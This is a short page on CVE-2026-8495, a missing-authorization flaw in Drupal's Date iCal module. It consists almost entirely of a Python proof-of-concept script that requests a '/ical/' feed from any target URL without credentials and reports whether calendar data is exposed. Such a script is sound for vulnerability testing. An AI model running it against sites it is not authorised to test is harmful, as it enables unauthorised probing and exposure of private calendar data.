CVE-2026-8495 Drupal Date iCal权限缺失漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-8495: Missing Authorization in Drupal Date iCal import requests import sys def check_vulnerability(target_url): """ Attempt to access the iCal feed without authentication. This simulates a forceful browsing attack. """ # Common path for Date iCal feeds, adjust based on actual configuration # The vulnerability lies in accessing this without permission checks poc_endpoint = "/ical/" full_url = f"{target_url.rstrip('/')}{poc_endpoint}" print(f"[*] Targeting: {full_url}") try: # Sending request without cookies or auth headers (PR:N) response = requests.get(full_url, timeout=10) if response.status_code == 200: print("[+] Potential vulnerability detected!") print(f"[+] Server responded with 200 OK.") print(f"[+] Response length: {len(response.content)} bytes") # Check for iCal content type or specific keywords if "BEGIN:VCALENDAR" in response.text or "ical" in response.headers.get('Content-Type', '').lower(): print("[+] Confirmed: iCal content exposed without authorization.") else: print("[!] Warning: Endpoint accessible but content type unclear.") else: print(f"[-] Server responded with status code: {response.status_code}") print("[-] Target might not be vulnerable or path is incorrect.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <http://target-site>") sys.exit(1) check_vulnerability(sys.argv[1])